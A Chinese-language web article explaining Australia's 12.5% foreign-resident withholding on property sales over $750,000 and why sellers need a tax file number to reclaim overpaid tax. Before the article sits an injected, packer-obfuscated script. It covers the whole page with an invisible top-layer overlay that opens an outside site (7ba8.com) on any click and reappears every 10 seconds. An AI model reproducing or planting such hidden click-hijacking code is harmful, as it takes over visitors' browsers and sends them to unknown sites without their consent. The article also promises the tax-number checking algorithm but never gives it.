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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 从2017年7月1日开始，在出售房产时，如果房产价值超过75万，卖家需要向税务局申请税务居民证书。
如果没有这个证书，买家在填写表格的时候就必须填写卖家的税号。同时，在房产成交的时候。房产价值的12.5%会被上交给税务局作为预扣税。 但是被扣除的这些预扣税并不是不可以拿回来。
这就需要专业而复杂的增值税计算，而且必须要有税号。 比如卖家卖出的房产100万，他在卖出房产的时候，没有申请税务居民证书，那么房产卖出价格的12.5%就会上交给税务局。同时他的房产增值了10万，那么按照海外人士的税率他需要上交4万的增值税。而他此前已经向税务局上交了125000，那么它就可以向税务局申请退还85000的税，此时如果没有税号，就会很麻烦，很有可能没法拿回这多交的85000，因为在买家把钱交给税务局的时候，他们要填一个表格，说明卖家是谁，名字，和地址，可是，大家拍拍脑瓜想一想，在澳洲有多少同姓同名的人，而谁就知道，李四就是那个卖家李四，而税务局通常区别每个人的时候，是按照税号分别的，因为，在澳洲，每个人的税号是不同的。如果您是卖家，在成交那天，每有税号，那么，恭喜您，您所被预付的增值税可能在澳洲税务局的空间里飘着。而您想想，您想要拿回来，怎么拿。
卖家要拿回来部分或全部的增值预付税，必须做一个退税，递交给税务局，而如果您没有税号的话，那么，您如何做退税，而税务局不会接受您的书面解释或要求说把钱还给我吧，因为您没有税号，他们如何知道这些事情。
另外，如果把钱存入银行，但没有填写税号，你就可能面临无税号预扣税，高达10%-30%。
Tips：什么时候税号？ 税号是由9个特别数字组成的，税号是由一些特殊数学算法形成的，如果一个税号是123456789，那肯定不会被接受，但是123456782是对的澳洲税务号码。因为它的算法并不一样。所以说税号是一个很特别的号码，在澳洲，一个人一生只会有一个税号。必须要好好的保存。
他们的算法是如下
如果丢了，重新申请需要解释很多事情。 很多中介在帮海外人士出租房产的时候，是不需要税号的，但当海外人士在出售房产的时候，如果他们有了税号，税务局就会知道这个房产之前是用做出租，那么他们会查到这个卖家有没有做租金收入的退税，如果没有会比较麻烦。 所以海外人士在出售房产的时候，与其先去见律师，不如先找税务师，把税号申请上，把之前的退税做好，然后可以顺顺当当的让我们把增值预付税减少或避免。
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